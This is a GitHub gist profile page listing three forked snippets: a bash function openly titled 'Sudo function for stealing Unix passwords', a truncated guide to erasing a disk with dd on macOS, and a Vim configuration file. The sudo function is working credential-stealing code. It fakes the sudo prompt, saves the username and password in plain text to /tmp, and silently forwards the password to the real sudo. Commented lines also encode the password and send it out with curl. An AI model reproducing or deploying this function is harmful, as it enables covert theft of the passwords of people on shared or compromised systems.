Skip to content

Instantly share code, notes, and snippets.


Block or report user

Report or block mgherghi

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
mgherghi / sudo
Created Jun 10, 2019 — forked from tokyoneon/sudo
Sudo function for stealing Unix passwords; script for WonderHowTo article
View sudo
function sudo ()
realsudo="$(which sudo)";
read -s -p "[sudo] password for $USER: " inputPasswd;
printf "\n";
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt;
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1;
# curl -s "$USER:$encoded" > /dev/null 2>&1;
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1;
mgherghi / OSX Secure Disk
Created Apr 25, 2019 — forked from joeblau/OSX Secure Disk
Securely erase an external disk using dd on OSX
View OSX Secure Disk

Securely erase an external disk using dd on OSX

  1. Plug in your SD card, HDD, or other block device and then use the following command to see which /dev/diskN node it's located on:
diskutil list
  1. Unmount the disk where “N� is the number of the disk taken from the above command:
mgherghi / .vimrc
Created Oct 5, 2018 — forked from NickLaMuro/.vimrc
Set up Vim on Mac or Linux. curl | sh
View .vimrc
"this is the cconfiguration file for linux and mac systems
"symlink this to your home folder as .vimrc
call pathogen#runtime_prepend_subdirectories(expand('~/.vim/bundles'))
call pathogen#helptags()
"call pathogen#runtime_append_all_bundles()
source ~/.vimrc_main
You can’t perform that action at this time.